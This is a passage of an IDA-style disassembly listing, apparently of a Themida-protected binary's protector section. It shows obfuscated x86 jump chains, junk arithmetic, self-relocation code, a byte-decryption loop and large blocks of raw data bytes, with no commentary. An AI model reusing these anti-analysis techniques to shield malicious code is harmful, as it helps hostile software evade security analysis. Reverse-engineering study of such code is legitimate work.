		dd 6D8D68h, 4DBCE900h, 48FFFFFh, 0E4E4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BC16:				; CODE XREF: Themida_:0055909Cj
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		and	eax, ecx
		jmp	loc_55BEF8
; ---------------------------------------------------------------------------
		dd 0FF3B8AE9h, 73EB81FFh, 5857145Ah, 0A3E9D829h, 5FFFFF7Bh
		dd 0FFCBBCE9h, 4EC81FFh, 89000000h, 0B5E9240Ch,	0E9FFFF5Eh
		dd 0FFFF3B63h, 8904EC83h, 8B682414h, 5A2DF32Ah,	575AF281h
		dd 0F2810534h, 1DE65261h, 0FF4958E9h, 240C89FFh, 0B933EEB9h
		dd 8BE9576Ah, 80FFFFD0h, 5B662DEDh, 0E9DBCD80h,	0FFFFE2C3h
		dd 83C0B70Fh, 1C8904ECh, 575B5424h, 4B951h, 0CF890000h
		dd 0FFEF44E9h, 0CE959FFh, 66FFFF3Bh, 4E99C50h, 0E9FFFF3Bh
		dd 0FFFF3AFFh, 0C30F6705h, 243C8B72h, 3B3E9h, 6AB5B900h
		dd 0C181558Dh, 5E7A5048h, 0D0BD5541h, 0E9722120h, 0FFFFAFDEh
		dd 1C581h, 0EDC10000h, 0ECED8102h, 810AD349h, 0A737A0C5h
		dd 0BAF3E923h, 6659FFFFh, 0D505E951h, 0C381FFFFh, 203C49C2h
		dd 0FFBB68E9h, 24348BFFh, 3304C483h, 1C31241Ch,	241C3324h
		dd 4C4815Ch, 50000000h,	1EE9E089h
		db 43h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BD23:				; CODE XREF: Themida_:00555E2Cj
		push	0
		jmp	loc_5515D1
; ---------------------------------------------------------------------------
		db 1, 0DEh, 0E9h
		dd 0FFFFC3A4h, 0A2CA8159h, 0E963B77Eh, 0FFFFDCCDh, 75C5E950h
		dd 27B8FFFFh, 5051F561h, 0FFF9F0E9h, 5BD831FFh,	0C108E0C1h
		dd 0BF5705E0h, 0D5B40004h, 815FF831h, 58563FEEh, 81C60112h
		dd 58563FC6h, 0F0EFE912h, 90BBFFFFh, 0E9015E69h, 0FFFFEFD2h
		dd 9C240431h, 0FF3A2AE9h, 7E6C1FFh, 0E6C1DEF7h,	456FE905h
		dd 0F781FFFFh, 5F2D4E9Ah, 3EE9D7F7h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BDA3:				; CODE XREF: Themida_:005579E6j
		add	esi, edi
		pop	edi
		and	ecx, esi
		push	dword ptr [esp]
		jmp	loc_5536C4
; ---------------------------------------------------------------------------
		dd 4FACC781h, 62E94AC6h, 52FFFFA4h, 3EE9E289h
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BDC3:				; CODE XREF: Themida_:0054FA6Dj
		sub	dword ptr [esp+4], 57131F26h
		sub	[esp+4], edx
		add	dword ptr [esp+4], 57131F26h
		add	dword ptr [esp+4], 77579B7h
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 42B679F7h
		add	eax, 75444A28h
		add	eax, ebx
		jmp	loc_55685C
; ---------------------------------------------------------------------------


loc_55BDF8:				; CODE XREF: Themida_:00554576j
		sub	esp, 4
		jmp	loc_55214D
; ---------------------------------------------------------------------------
byte_55BE03	db 0ACh			; DATA XREF: Themida_:0054F508o
		dd 5166A204h, 7DB75352h, 0FA00F6B2h, 5AD1885Bh,	0C8287604h
		dd 0FF8849E9h, 0FF555FFFh, 5D042474h, 0FF970DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BE29:				; CODE XREF: Themida_:00554087j
		push	ecx
		mov	ecx, 5FDC0E3Fh
		jmp	loc_5517F2
; ---------------------------------------------------------------------------


loc_55BE34:				; CODE XREF: Themida_:00555DFAj
		pop	edi
		mov	edi, edx
		mov	edx, [esp]
		add	esp, 4
		add	edx, edi
		pop	edi
		sub	edx, 3A2B7DADh
		add	edx, eax
		add	edx, 3A2B7DADh
		sub	edx, 4496525Ah
		jmp	loc_55103B
; ---------------------------------------------------------------------------
		dd 0BA241489h, 24h, 7E9FA01h, 0B6FFFFACh, 0A448E93Ah, 0EE01FFFFh
		dd 2434335Dh, 33243431h, 0CE92434h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55BE83:				; CODE XREF: Themida_:00551EF4j
		and	bl, 0A1h
		sub	bl, 1
		and	bl, 0D9h
		inc	bl
		not	bl
		xor	bl, 64h
		jmp	loc_55B542
; ---------------------------------------------------------------------------
		dd 24D3665Ch, 10E99C24h, 68FFFF39h, 0
		dd 5E243429h, 5418C681h, 4E4671E2h, 0FF45F1E9h,	0F6C8B6FFh
		dd 80C6FED6h, 0CE8015CEh, 79F680A4h, 38E9C686h
		db 4Ch,	2 dup(0FFh)
aMZA		db '¬,§,€,<',0          ; DATA XREF: Themida_:0054F614o
		db 0D8h
		dd 51663C04h, 0E80080B5h, 0FFE1F0E9h, 4C481FFh,	87000000h
		dd 215C2404h, 0E99C2404h, 0FFFF38BBh
; ---------------------------------------------------------------------------


loc_55BEF8:				; CODE XREF: Themida_:0055BC1Fj
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_552377
; ---------------------------------------------------------------------------


loc_55BF01:				; CODE XREF: Themida_:00554F15j
		sub	ebx, 1F3D4B7Fh
		jmp	loc_556E96
; ---------------------------------------------------------------------------
dword_55BF0C	dd 0A8BA52ADh, 297FA747h, 24148BD0h, 0E1E953h
					; DATA XREF: Themida_:0054F734o
		db 2 dup(0), 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_559BCC
; ---------------------------------------------------------------------------
		db 56h
		dd 0FFC8D9E9h, 731ABDFFh, 0EB01D859h, 5BD9015Dh, 2C549705h
		dd 2DC80162h, 622C5497h, 66C33159h, 6600B60Fh, 6643E768h
		dd 0E9240489h, 0FFFFC5BAh
dword_55BF58	dd 240C8B66h, 0FFD56EE9h ; DATA	XREF: Themida_:0054F50Co
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BF61:				; CODE XREF: Themida_:00550A8Fj
		pop	esp
		push	eax
		jmp	loc_555671
; ---------------------------------------------------------------------------
		dd 52240401h, 0BB248EBAh, 0AFE94A51h, 8BFFFFD0h, 0E956243Ch
		dd 42h
; ---------------------------------------------------------------------------


loc_55BF80:				; CODE XREF: Themida_:00556B00j
		pop	edx
		neg	edi
		add	edi, 95B7CCB6h
		jmp	loc_559224
; ---------------------------------------------------------------------------
		dw 0E8C1h
		dd 25D0F704h, 3FB73530h, 52E02540h, 4354F31h, 10B0000h
		dd 0C18358C1h, 240C8704h, 7DE9505Ch
		db 0F2h, 2 dup(0FFh)
byte_55BFB3	db 0FFh			; DATA XREF: Themida_:0054F4F4o
		dd 669D1C77h, 2414D359h, 37F1E99Ch, 0E689FFFFh,	4C681h
		dd 0C6830000h, 24348704h, 2414875Ch, 0E924248Bh, 0FFFF594Ah
		dd 0FFC0B60Fh, 99E98734h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BFE7:				; CODE XREF: Themida_:00550A45j
		push	ebx
		mov	ebx, 0B47745h
		jmp	loc_55323C
; ---------------------------------------------------------------------------
		dw 36BBh
		dd 0C133967Dh, 0F4E907E3h, 89FFFF9Bh, 4C381E3h,	81000000h
		dd 4C3h, 241C8700h, 0FFD692E9h,	0E9525CFFh, 0FFFFBB88h
		dd 66F32966h, 6FD5C381h, 0C301665Eh, 0FFE562E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C02D:				; CODE XREF: Themida_:0055767Ej
		pop	edi
		shl	ecx, 6
		xor	ecx, 0A26BDFCCh
		jmp	loc_559F94
; ---------------------------------------------------------------------------


loc_55C03C:				; CODE XREF: Themida_:005507D0j
		mov	ecx, 6DA3123h
		add	[esp+8], ecx
		pop	ecx
		add	[esp+4], edi
		sub	dword ptr [esp+4], 6DA3123h
		mov	edi, [esp]
		add	esp, 4
		pop	esi
		jmp	loc_557B0A
; ---------------------------------------------------------------------------
		db 88h,	0D4h, 88h
		dd 0F586E9E7h, 2BDFFFFh, 0E908823Ah, 0FFFF589Ah, 104C483h
		dd 61BAE9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C07E:				; CODE XREF: Themida_:005517F7j
		sub	esi, ecx
		pop	ecx
		shl	esi, 7
		add	esi, 1F382581h
		jmp	loc_556830
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0F9F72424h, 68E38953h, 1B5h,	0FF696BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C0A1:				; CODE XREF: Themida_:00558865j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_54F7B3
; ---------------------------------------------------------------------------


loc_55C0AF:				; CODE XREF: Themida_:005579DBj
		sub	ebp, 4F3DD4FCh
		jmp	loc_55B91C
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 9EE92414h, 5BFFFFF8h, 0EE91089h, 58FFFFEFh, 8B58C589h
		dd 0C483243Ch, 5DEF0104h, 2C781h, 3C870000h, 0F665C24h
		dd 9C2404B3h, 0FF36C6E9h, 81E289FFh, 4C2h, 91E95100h, 0D0FFFFA5h
		dd 81FA2B79h, 5B4Eh, 0
		dd 0E9000000h, 0E7000012h, 0DC005B5Ah, 7005B4Eh, 2000002h
		dd 1000000h, 3000000h, 0D0000000h, 0FA2B79h, 4 dup(0)
		dd 8A000000h, 300056AAh, 0CD00565Eh, 0DA005703h, 2C0056C5h
		dd 49005608h, 950056C4h, 300055F5h, 0A60056DEh,	0F005643h
		dd 3A0055DAh, 4C0055C7h, 550056E5h, 4F005700h, 0FC005707h
		dd 0BC005630h, 0CE00569Fh, 16005696h, 0F3005666h, 0A1005648h
		dd 0C8005707h, 6B005605h, 0A900560Fh, 0DD0055CBh, 66005696h
		dd 500055EEh, 930056E9h, 0FE0056FEh, 0BE0055CEh, 490056CFh
		dd 820055DDh, 2000562Ch, 0C0005647h, 40055F4h, 0D5005621h
		dd 3E0055C7h, 9B0056BFh, 40055D8h, 480056DEh, 700561Dh
		dd 98005604h, 770055C8h, 0BC0056BCh, 0F900566Dh, 0BB005626h
		dd 0C400565Ah, 520055F6h, 0D300562Fh, 0D005612h, 350056CBh
		dd 98005608h, 0A70056C8h, 0D10055C5h, 0DD005671h, 5D005664h
		dd 0BE005661h, 7100560Bh, 0D4005620h, 0AC00568Dh, 0A4005659h
		dd 14005691h, 0EB0056F4h, 0D20056BAh, 320056F1h, 9800567Ch
		dd 0AE005663h, 8500566Dh, 0B9005615h, 0F10055C8h, 59005631h
		dd 8500565Eh, 400560Fh,	0A200565Bh, 2A005619h, 0F40056BDh
		dd 0E30055FBh, 0EE00566Ch, 0E600569Eh, 2D005696h, 8D0056ABh
		dd 3C0056E6h, 30005707h, 8B0056C7h, 0F1005679h,	0CF005653h
		dd 0C8005701h, 860055EAh, 56B8h, 9D005664h, 2E0055FFh
		dd 0A0056F2h, 4C0055E1h, 7B005695h, 60005664h, 59005702h
		dd 4005648h, 22005656h,	96005612h, 8005671h, 0FA005675h
		dd 4100568Ch, 1A005700h, 0C3005685h, 0AB00567Eh, 9900567Bh
		dd 0E2005711h, 0FA005602h, 7D005650h, 8000563Eh, 0B70055FAh
		dd 0CB0056ACh, 500055CBh, 0C5005601h, 9A0056CFh, 270056C6h
		dd 0D10056F7h, 290055E9h, 15005667h, 0E90056DFh, 89005649h
		dd 0C70055F9h, 710056FBh, 880056ECh, 5D0056C2h,	0DE0056B0h
		dd 460055D3h, 820056B0h, 27005621h, 0E40055C7h,	460055DAh
		dd 0C900560Eh, 48005691h, 1A005682h, 85005613h,	65005697h
		dd 3F00563Bh, 9005628h,	300056C4h, 530056D8h, 0AC0056E4h
		dd 1E005607h, 1F005672h, 100055C7h, 0A5005697h,	880055CDh
		dd 0AD0056CEh, 0BE00568Dh, 0EA005705h, 0ED005645h, 0EB00567Fh
		dd 3D0056FEh, 950055DAh, 400056D8h, 0A1005661h,	10056D8h
		dd 3000563Ch, 0D900565Ah, 0F60055C6h, 450056BDh, 130055E9h
		dd 56AFh, 0FE005711h, 0C40056B5h, 8A0056CCh, 450055F7h
		dd 930056DCh, 0A600567Ch
		db 10h,	56h, 0
; ---------------------------------------------------------------------------


loc_55C3DB:				; CODE XREF: Themida_:0059EDEAj
					; Themida_:005A3412j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 62A4A13h
		mov	eax, edi
		add	edi, 62A472Bh
		cmp	eax, [edi+2Ch]
		jnz	short loc_55C3F9
		jmp	short loc_55C40C
; ---------------------------------------------------------------------------


loc_55C3F9:				; CODE XREF: Themida_:0055C3F5j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_55C408
; ---------------------------------------------------------------------------


loc_55C403:				; CODE XREF: Themida_:0055C40Aj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_55C408:				; CODE XREF: Themida_:0055C401j
		or	ecx, ecx
		jnz	short loc_55C403


loc_55C40C:				; CODE XREF: Themida_:0055C3F7j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_55C419:				; CODE XREF: Themida_:0055C420j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_55C419


loc_55C422:				; CODE XREF: Themida_:0055FAAFj
					; Themida_:00560827j ...
		lodsb
		xor	al, bl
		push	ebp
		jmp	loc_5710C8
; ---------------------------------------------------------------------------
		db 9
		dd 0BE565DEBh, 21804855h, 0EEC1E6D1h, 3AD3E904h, 0C3290000h
		dd 0C7EEB81h, 2E933B5h
		db 0D8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C44B:				; CODE XREF: Themida_:00566476j
		pop	ebx
		shl	ebp, 4
		jmp	loc_563F4B
; ---------------------------------------------------------------------------
		dd 6777EBBEh, 70C68127h, 213FC9F4h, 0E2C15EF2h,	56256806h
		dd 0C890000h, 2FF6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C472:				; CODE XREF: Themida_:0055FDDAj
		push	edi
		mov	edi, ebx
		jmp	loc_55F7BF
; ---------------------------------------------------------------------------
		dw 5B58h
		dd 4244401h, 0FC4FE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C486:				; CODE XREF: Themida_:0056F584j
		or	edx, edi
		mov	edi, [esp]
		add	esp, 4
		shr	edx, 7
		jmp	loc_55D6EB
; ---------------------------------------------------------------------------
		db 35h,	0A9h, 34h
		dd 0C63127CDh, 8124048Bh, 4C4h,	4EC8100h, 89000000h, 83E9243Ch
		dd 0FF000003h, 3C8B2434h, 4C48124h, 83000000h, 0DC6804C4h
		dd 8900001Fh, 3EE9241Ch, 87000037h, 3EE9240Ch
		db 0F0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C4DB:				; CODE XREF: Themida_:0056E46Bj
		pop	ebp
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, 8FB7EDAh
		jmp	loc_562B7C
; ---------------------------------------------------------------------------
		dd 48BC701h, 4C48324h, 0E95FFE29h, 339Ah, 0E9243C89h, 0E4Bh
		dd 6685659h, 0E910312Bh, 1D3Bh
; ---------------------------------------------------------------------------


loc_55C514:				; CODE XREF: Themida_:00570E62j
		or	ecx, 27482BB5h
		shl	ecx, 5
		jmp	loc_5674E6
; ---------------------------------------------------------------------------
aSqq		db '\éQQ',0
		align 4


loc_55C528:				; CODE XREF: Themida_:00570B5Fj
		sub	eax, 23690508h
		push	562Bh
		mov	[esp], ecx
		mov	ecx, 52365F34h
		jmp	loc_56A24B
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4BF5700h, 29000000h, 3CD0E9FAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C552:				; CODE XREF: Themida_:005601ADj
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 6D4321EFh
		push	esi
		mov	esi, edi
		mov	ebp, esi
		pop	esi
		pop	edi
		jmp	loc_5695A5
; ---------------------------------------------------------------------------


loc_55C579:				; CODE XREF: Themida_:0056FED4j
		not	ebx
		xor	ebx, 0FBEFBBCFh
		sub	edx, ebx
		pop	ebx
		add	edx, edi
		add	edx, 5822404Dh
		jmp	loc_560D14
; ---------------------------------------------------------------------------
		db 1, 0DDh, 81h
		dd 0B12816C5h, 241C8B1Dh, 4C481h, 93E90000h, 8100003Ch
		dd 4ECh, 24148900h, 0E9E78957h,	14BCAh,	5C243C87h, 0F451E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C5C1:				; CODE XREF: Themida_:0055EB1Bj
		sub	eax, esi
		add	eax, 0B7E414Fh
		pop	esi
		push	esi
		push	ecx
		push	1D476C4Bh
		jmp	loc_570E5B
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 3304C483h, 14312414h, 24143324h, 6C13E9h, 0B5515900h
		dd 0E9536623h, 0A6DBh, 8B04C483h, 0C481241Ch, 4, 8904EC83h
		dd 0EC832434h, 24148904h, 4EC81h, 24890000h, 4EC8324h
		dd 56241489h, 3B328668h, 0F6815E63h, 1A036516h,	0A874C681h
		dd 0F28986C7h, 2454015Eh, 535A5A04h, 4BBh, 5BDA0100h, 4EA81h
		dd 14870000h, 0CE29E924h, 0E9520000h, 76F7h, 4EC81h, 34890000h
		dd 6B85E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C662:				; CODE XREF: Themida_:0056E4C2j
		add	ebx, esi
		add	ebx, 7208497Fh
		sub	ebx, 6733BAh
		sub	ebx, 50A35646h
		pop	esi
		jmp	loc_55F1AF
; ---------------------------------------------------------------------------
		dd 405h, 24048700h, 417F685Ch, 2C890000h, 68E58924h, 2CF6h
		dd 89241489h, 4C281E2h,	81000000h, 4EAh, 24148700h, 2434895Ch
		dd 59473D68h, 66D3E952h, 575A0000h, 0C7815F54h,	4, 7647E9h
		dd 5BDD8900h, 2FD9E951h, 48F0000h, 24248B24h, 1990E9h
		dd 1B796800h, 14890000h, 3C6824h, 0EEE90000h
		db 0D7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C6EB:				; CODE XREF: Themida_:005667FEj
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4334961Dh
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esi
		jmp	loc_56D6E0
; ---------------------------------------------------------------------------


loc_55C706:				; CODE XREF: Themida_:0056E58Ej
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 65DE4722h
		push	eax
		mov	eax, 6BA529F0h
		and	ecx, eax
		jmp	loc_567B46
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FBE92C77h, 66FFFFFCh, 5224048Bh, 4EC81h, 24890000h
		dd 3047E924h, 66640000h, 6602B60Fh, 661D2C68h, 0E9240489h
		dd 0FFFFFCD6h, 59685E54h, 89000043h, 0F568242Ch, 89000001h
		dd 0EDB9240Ch, 0C1791162h, 0F98707E9h, 1036E947h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55C76E:				; CODE XREF: Themida_:0056502Dj
		xor	edi, ecx
		pop	ecx
		and	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		not	ecx
		dec	ecx
		jmp	loc_56DF27
; ---------------------------------------------------------------------------
		db 88h,	0E6h, 88h
		dd 0DD885AF3h, 57241C8Bh, 6853E789h, 4,	0D6C7815Bh, 12F5D54h
		dd 0D6EF81DFh, 5B2F5D54h, 4C781h, 3C870000h, 0FD6CE924h
		dd 0EC81FFFFh, 4, 0E9240489h, 108E8h, 4B28E681h, 0F6810E1Ah
		dd 253360Ch, 13292E9h, 48B6600h, 1A35E924h, 0ED810000h
		dd 1FAA0573h, 0C581D501h, 1FAA0573h, 5024148Bh,	4055854h
		dd 5000000h, 4,	5C240487h, 123DAE9h, 0C4815C00h, 4, 4C681h
		dd 0E2E90000h, 5200002Dh, 0F277E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C81D:				; CODE XREF: Themida_:0056D47Fj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	bp, 7EF7h
		push	edi
		push	eax
		jmp	loc_56D37B
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 6EE42474h, 7A4DBD55h, 0CD814E19h, 7C9509E3h,	8BAF581h
		dd 0EF890321h, 0C396E9h, 0E5E95C00h, 1000030h, 55E955CEh
		db 23h,	1, 0
; ---------------------------------------------------------------------------


loc_55C867:				; CODE XREF: Themida_:0056B3DBj
		mov	eax, esp
		push	edx
		jmp	loc_56A421
; ---------------------------------------------------------------------------


loc_55C86F:				; CODE XREF: Themida_:0056C6F6j
		pop	ebx
		jmp	loc_55FAAB
; ---------------------------------------------------------------------------


loc_55C875:				; CODE XREF: Themida_:005697F4j
		movsx	cx, al
		jmp	loc_56E470
; ---------------------------------------------------------------------------


loc_55C87E:				; CODE XREF: Themida_:005629C5j
		or	ebp, 348469C3h
		sub	ebp, 3CEF7FE7h
		add	edi, ebp
		jmp	loc_56AAC8
; ---------------------------------------------------------------------------
		db 0B2h, 47h, 0E9h
		dd 4910h, 7C1E05ADh, 58687A3Fh,	89000021h, 0E1BD242Ch
		dd 83164B55h, 0C581FFC5h, 1D3CEAB9h, 0E99FE9h, 1FE86800h
		dd 0EB680000h, 0E900004Eh, 0D14Bh, 4240481h, 0E9000000h
		dd 123F7h, 5C241487h, 8B24048Fh, 34FF2424h, 0EFF7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C8E6:				; CODE XREF: Themida_:00569CEDj
		add	esp, 4
		sub	edx, 2
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_56A35B
; ---------------------------------------------------------------------------
		db 87h
		dd 0D25C2404h, 0E99C240Ch, 0A373h, 240C3358h, 33240C31h
		dd 248B240Ch, 48B6624h,	5D545524h, 55B268h, 243C8900h
		dd 10407E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C929:				; CODE XREF: Themida_:0056DC11j
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56DEBE
; ---------------------------------------------------------------------------
		db 66h,	51h, 66h
		dd 50ADB252h, 0E588D488h, 11960E9h, 0B5515000h,	152BE97Dh
		dd 0C1310001h, 52E9C831h, 55000147h, 35E26853h,	815B54ACh
		dd 0F749C2F3h, 0F0E94362h, 81000144h, 2B56A2CBh, 0BCC3814Fh
		dd 8148E410h, 0C0435DC3h, 5BDF3123h, 44E9FE01h,	0C100003Ch
		dd 0F68104E6h, 34280724h, 0DEF74646h, 8D3FC681h, 0F2014668h
		dd 0A4FEE9h, 5EF08900h,	53726D0Dh, 4031E918h, 815F0001h
		dd 4C7h, 4BB5300h, 0E9000000h, 10157h, 2BAh, 2A0F2D00h
		dd 0D00120F0h, 2A0FBF57h, 5B2D20F0h, 159BE0Dh, 0D5B05F8h
		dd 0C1E959BEh
		db 0D8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C9EF:				; CODE XREF: Themida_:00561B32j
		sub	edi, edx
		push	eax
		mov	eax, 772A2E01h
		sub	eax, 72DD2AC0h
		jmp	loc_56BC8F
; ---------------------------------------------------------------------------
		db 21h,	0F2h, 5Eh
		dd 8904EC83h, 91682434h, 0E960643Dh, 1030Dh, 33241C31h
		dd 315C241Ch, 2434FFF0h, 1F7AE95Eh
		db 1, 0
; ---------------------------------------------------------------------------


loc_55CA26:				; CODE XREF: Themida_:00564CB1j
		shr	eax, 12h
		xor	eax, ecx
		xchg	eax, ebx
		push	ebx
		jmp	loc_560E6B
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 5BE51C4Eh, 1AC7F181h, 41413B6Ah, 0DCD0E981h,	0CD294A3Ch
		dd 0A7B9E959h, 0C4830000h, 240C8B04h, 5505E9h, 24348B00h
		dd 4C481h, 48F0000h, 0BFE95C24h
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CA6B:				; CODE XREF: Themida_:0055CDDEj
		mov	edx, 4
		mov	ecx, edx
		pop	edx
		jmp	loc_56A54A
; ---------------------------------------------------------------------------
		dd 0B264C681h, 0F1898EE0h, 1DE9555Eh
		db 93h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CA87:				; CODE XREF: Themida_:0055E8EAj
		pop	dword ptr [esp]
		jmp	loc_56BD1D
; ---------------------------------------------------------------------------
		db 4
		dd 2CD82872h, 2B15172h,	5359C828h, 0ADE9E389h
		db 41h,	1, 0
; ---------------------------------------------------------------------------


loc_55CAA3:				; CODE XREF: Themida_:0055E464j
		pop	ebx
		jmp	loc_567666
; ---------------------------------------------------------------------------
aXstu		db 'Xé’ž',0
		dw 0F700h
		dd 0BA5249D1h, 331E7D0Ah, 15AD129h, 0E95659CEh,	533Fh
; ---------------------------------------------------------------------------


loc_55CAC4:				; CODE XREF: Themida_:005710FBj
		push	ax
		dec	byte ptr [esp+1]
		jmp	loc_560665
; ---------------------------------------------------------------------------
		db 0C1h
		dd 814F02EFh, 167F71E7h, 66685328h, 89000059h, 3BA2414h
		dd 0E90ACC68h, 13FE7h
; ---------------------------------------------------------------------------


loc_55CAEC:				; CODE XREF: Themida_:0056B5E3j
		xor	dl, 0Dh
		sub	bl, 0D2h
		add	bl, dl
		jmp	loc_56E0D0
; ---------------------------------------------------------------------------
		db 0BDh, 2Dh, 3
		dd 0E5C122D3h, 0E9DDF704h, 0FAB7h, 5058C331h, 0B3DCE9h
		dd 0CA015E00h, 13BB5359h, 0F7125E32h, 0E3D14BDBh, 478DE9h
		dd 240C3300h, 33240C31h, 0E95C240Ch, 112F1h, 5C240C87h
		dd 1069E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CB3D:				; CODE XREF: Themida_:0056BFECj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_56A690
; ---------------------------------------------------------------------------
		db 4Eh
		dd 0EE81D6F7h, 0C406EEFBh, 0B3E95B56h
		db 0BCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CB5B:				; CODE XREF: Themida_:00562B8Cj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 73EF3F88h
		jmp	loc_56CCAD
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0B8240489h, 513405DBh, 4808E8C1h, 1D72E9h, 5AD32900h
		dd 15BDE01h, 51E95EF7h,	1000098h, 0B0E981F9h, 0FF69550Ah
		dd 835F2434h, 0C8704C4h, 24248B24h, 0C8AF0F66h,	0FC99E9h
		dd 0FAB95100h, 0C171460Eh, 0F18108E1h, 1DDE3102h, 145968h
		dd 243C8900h, 862684BFh, 77E94F7Fh, 640000A5h, 4FE932FFh
		dd 29FFFFF8h, 5B595A11h, 0FAE9505Fh
		db 19h,	1, 0
; ---------------------------------------------------------------------------


loc_55CBDF:				; CODE XREF: Themida_:0055ED0Dj
		pop	esp
		push	edx
		jmp	loc_55F073
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 0FF1697Dh, 0A53C381h, 0E94348BFh, 4007h, 3896EA81h
		dd 0D1871AC3h, 9EBF575Ah, 127CA00h, 81555FF9h, 4ECh, 243C8900h
		dd 0ACB8F0BFh, 5AEFE921h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CC1E:				; CODE XREF: Themida_:0056066Cj
		sub	ah, 29h
		sub	esp, 4
		jmp	loc_55FAB4
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 234EDCBAh, 0D9E2816Ch, 811ED213h, 0A529BAEAh, 41E94249h
		dd 8100009Dh, 4C6h, 4C68100h, 87000000h, 55C2434h, 2, 0FFFC9EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CC5D:				; CODE XREF: Themida_:0056ABF8j
		push	esi
		push	5B583900h
		jmp	loc_569C04
; ---------------------------------------------------------------------------
		dd 664A6852h, 0F75A4744h, 87F281D2h, 81450176h,	0C88C69F2h
		dd 5AD789BEh, 3CC1F781h, 0E7C1407Fh, 0B3EF8105h, 813AB837h
		dd 0F3BB89EFh, 0B5D6E926h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CC9A:				; CODE XREF: Themida_:0055D186j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 16842D5h
		sub	esp, 4
		jmp	loc_569397
; ---------------------------------------------------------------------------
		db 59h
		dd 0EC81C328h, 2, 24048966h, 50B55166h,	0FBBBE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CCD6:				; CODE XREF: Themida_:0056363Cj
		sub	ebx, edi
		pop	edi
		sub	edi, ebx
		pop	ebx
		shl	edi, 3
		shr	edi, 6
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_560F94
; ---------------------------------------------------------------------------
		dd 6A87EF81h, 0C8E952D8h, 8B000119h, 48F2424h, 9F2E924h
		dd 0C2810001h, 63532970h, 0E490F281h, 97E96C50h, 6800001Fh
		dd 53EF40DBh, 0E92434FFh, 0D7C5h
; ---------------------------------------------------------------------------


loc_55CD24:				; CODE XREF: Themida_:00567BBFj
		pop	ecx
		mov	esi, ebx
		pop	ebx
		add	ecx, esi
		pop	esi
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_563D5A
